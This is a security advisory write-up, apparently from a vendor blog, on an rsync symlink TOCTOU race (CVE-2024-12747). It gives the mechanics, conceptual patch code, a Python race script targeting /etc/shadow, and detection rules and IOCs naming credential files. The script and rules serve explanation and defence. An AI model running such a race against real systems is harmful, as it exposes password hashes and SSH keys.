CVE-2024-12747

Executive Summary

CVE-2024-12747 describes a race condition vulnerability in the rsync utility, a widely used tool for file synchronization and transfer. The flaw occurs during rsync's handling of symbolic links (symlinks). By default, rsync is configured to skip symlinks. However, an attacker with the ability to observe and influence the file system at the right moment can exploit a Time-of-Check Time-of-Use (TOCTOU) race condition. By replacing a regular file with a symbolic link after rsync has performed its initial check but before it accesses the file, the attacker can bypass the symlink skip behavior. This allows the rsync process to follow the malicious symlink, potentially reading or writing files outside the intended directory scope. Depending on the privileges of the rsync process, this could lead to sensitive information disclosure and, in some cases, privilege escalation.

Supply Chain & Package Security

This vulnerability is not specific to a package manager ecosystem (NPM, PyPI, Go, Ruby). It affects the rsync binary itself, which is a core system utility on most Linux and Unix-like operating systems. The supply chain risk is primarily through the distribution of the rsync package via official OS repositories or third-party builds. Users should verify the integrity of their rsync installation and ensure they are using a version from a trusted source.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that a full CVSS vector has not been officially assigned by NVD at this time. However, based on the vulnerability description, a reasonable assessment can be made.

• Attack Vector (AV): Local (AV:L) - The attacker requires local access to the file system where rsync is operating.
• Attack Complexity (AC): High (AC:H) - Exploitation requires precise timing to win a race condition.
• Privileges Required (PR): Low (PR:L) - The attacker needs the ability to create and delete files in the same directory as the rsync target.
• User Interaction (UI): None (UI:N) - The victim does not need to perform any action beyond running rsync.
• Scope (S): Unchanged (S:U) - The vulnerability does not allow the attacker to affect resources beyond the rsync process's permissions.
• Confidentiality (C): High (C:H) - Sensitive files outside the intended scope could be read.
• Integrity (I): None (I:N) - The vulnerability primarily allows reading, not modifying, files.
• Availability (A): None (A:N) - The vulnerability does not affect system availability.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 5.1 (Medium)

Threat Level: Medium. While the potential impact (information disclosure, privilege escalation) is significant, the high attack complexity and requirement for local access reduce the overall threat level.

Deep Dive & Mechanics

The vulnerability is a classic TOCTOU (Time-of-Check Time-of-Use) race condition. The core issue lies in how rsync handles symbolic links during file synchronization.

1. Normal Operation: When rsync encounters a file, it first checks its type. If the file is a symbolic link and the --links (or -l) option is not specified, rsync's default behavior is to skip the symlink and not follow it. This check is the "Time-of-Check" (TOCT).

2. Race Window: Between the time rsync checks the file type and the time it actually reads the file's contents (the "Time-of-Use" or TOU), there is a small window of opportunity.

3. Exploitation: An attacker, who has write access to the directory being synchronized, can exploit this window. The attacker's process monitors the file system for rsync's activity. When rsync is about to process a specific regular file, the attacker rapidly deletes that file and replaces it with a symbolic link pointing to a sensitive file (e.g., /etc/shadow, /root/.ssh/id_rsa).

4. Bypass: Because rsync already performed its type check and determined the file was a regular file (or at least not a symlink to be skipped), it proceeds to read the file. However, the file has now been replaced with a symlink. Rsync follows the symlink and reads the contents of the target file.

5. Impact: The attacker can then read the contents of the sensitive file from the rsync destination or from the rsync process's output. If the rsync process is running with elevated privileges (e.g., as root), the attacker could read any file on the system, leading to privilege escalation.

Vulnerable vs. Patched Code

Without a specific patch commit, we can only describe the conceptual fix.

Vulnerable Code (Conceptual):

// Vulnerable: TOCTOU race condition
if (is_regular_file(path)) {
    // Time-of-Check: File is a regular file
    // ... Race window: attacker replaces file with symlink ...
    read_file_contents(path); // Time-of-Use: Now follows symlink
}

Patched Code (Conceptual):

// Patched: Re-check file type after opening
int fd = open(path, O_NOFOLLOW | O_RDONLY);
if (fd == -1) {
    // Handle error (e.g., file is a symlink or was deleted)
    return;
}
struct stat st;
if (fstat(fd, &st) == -1) {
    close(fd);
    return;
}
if (!S_ISREG(st.st_mode)) {
    // File is not a regular file (e.g., symlink)
    close(fd);
    return;
}
// Safe to read
read_file_contents_fd(fd);
close(fd);

The patched code uses open() with the O_NOFOLLOW flag, which ensures that if the final component of the path is a symbolic link, the open fails. It then uses fstat() on the file descriptor to verify the file type, eliminating the race condition.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a system running a vulnerable version of rsync.
• Write access to a directory that is being synchronized by rsync.
• Ability to run a script with precise timing.

Lab Setup:

1. Victim Machine (Linux): Install a vulnerable version of rsync (e.g., an older distribution). Create a shared directory /shared.
2. Attacker Machine (Linux): Have a script that monitors /shared and performs the race.

Exploit Script (Conceptual - Python):

import os
import time
import threading

TARGET_DIR = "/shared"
SENSITIVE_FILE = "/etc/shadow"
VICTIM_FILE = os.path.join(TARGET_DIR, "innocent_file.txt")

def attacker():
    while True:
        # Wait for rsync to start processing the victim file
        # This is a simplified loop; real exploit needs better timing
        if os.path.exists(VICTIM_FILE):
            # Delete the regular file
            os.unlink(VICTIM_FILE)
            # Create a symlink to the sensitive file
            os.symlink(SENSITIVE_FILE, VICTIM_FILE)
            # Wait a bit, then restore the regular file to avoid detection
            time.sleep(0.01)
            os.unlink(VICTIM_FILE)
            # Re-create the original file (or a dummy)
            with open(VICTIM_FILE, 'w') as f:
                f.write("innocent data")
            break
        time.sleep(0.001)

# Run attacker in a separate thread
t = threading.Thread(target=attacker)
t.start()

# Simulate rsync command
os.system(f"rsync -av {TARGET_DIR}/ /tmp/destination/")

Note: This is a simplified example. A real exploit would require more sophisticated timing, potentially using inotify or fanotify to detect rsync's file operations.

Blue Team (Detection & Defense)

Defensive Measures:

1. Use --no-inc-recursive: This option disables incremental file recursion, which can reduce the race window.
2. Use --safe-links: This option ignores symlinks that point outside the transfer directory tree.
3. Run rsync with Least Privilege: Do not run rsync as root unless absolutely necessary.
4. Monitor File System Events: Use auditd or similar tools to monitor for rapid file deletion and symlink creation in directories used by rsync.
5. Apply Patches: Monitor for and apply official patches from your OS vendor or the rsync project as soon as they are available.

Indicators of Compromise (IOCs)

• File System Anomalies:
  • Rapid creation and deletion of files in directories synchronized by rsync.
  • Unexpected symbolic links appearing in synchronized directories, especially pointing to sensitive system files (e.g., /etc/shadow, /etc/passwd, /root/.ssh/).
• Process Behavior:
  • Rsync process accessing files outside its intended scope (e.g., reading /etc/shadow).
  • Unusual error messages from rsync related to file type mismatches or permission denied errors.
• Network Traffic:
  • Unusual data being transferred from the rsync server, especially if it includes contents of sensitive files.
• Log Entries:
  • Audit logs showing symlink and unlink system calls on the same file path within a short time frame.
  • Rsync logs showing unexpected file access patterns.

Detection Engineering

YARA Rule

rule CVE_2024_12747_Exploit_Indicators {
    meta:
        description = "Detects potential exploitation of CVE-2024-12747 by identifying rapid file deletion and symlink creation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-12747"
    strings:
        $s1 = "unlink" ascii wide nocase
        $s2 = "symlink" ascii wide nocase
        $s3 = "/etc/shadow" ascii wide nocase
        $s4 = "/root/.ssh" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: Potential CVE-2024-12747 Exploitation - Rapid File Deletion and Symlink Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects a pattern of rapid file deletion and symlink creation in directories used by rsync, indicative of a TOCTOU race condition exploit.
author: Valters IT
date: 2024-01-01
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: 'SYSCALL'
        syscall: ['unlink', 'symlink']
    timeframe: 1s
    condition: selection | count() by hostname, exe, cwd > 5
falsepositives:
    - Legitimate file management scripts
level: high
tags:
    - attack.t1190
    - cve.2024.12747

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 873 (msg:"CVE-2024-12747 Potential Rsync Race Condition Exploit"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"@RSYNCD"; within:10; content:"/etc/shadow"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Note: This Suricata rule is a basic example. A more effective detection would require deep packet inspection of the rsync protocol to identify anomalous file access patterns.

Remediation & Mitigation

1. Patch: Apply the official patch from your OS vendor or the rsync project as soon as it becomes available. Monitor the rsync project page for updates.
2. Workarounds:
   • Use the --safe-links option to ignore symlinks that point outside the transfer directory.
   • Use the --no-inc-recursive option to reduce the race window.
   • Run rsync with the minimum necessary privileges. Avoid running as root.
   • Use a dedicated, unprivileged user for rsync operations.
3. Monitoring: Implement file integrity monitoring (FIM) on directories used by rsync to detect unauthorized symlink creation.
4. Network Segmentation: If rsync is used over a network, restrict access to trusted hosts using firewall rules or SSH keys.
5. Alternative Tools: Consider using more secure alternatives like rclone or syncthing if rsync's symlink handling is a concern.

Valters IT - Securing Digital Frontiers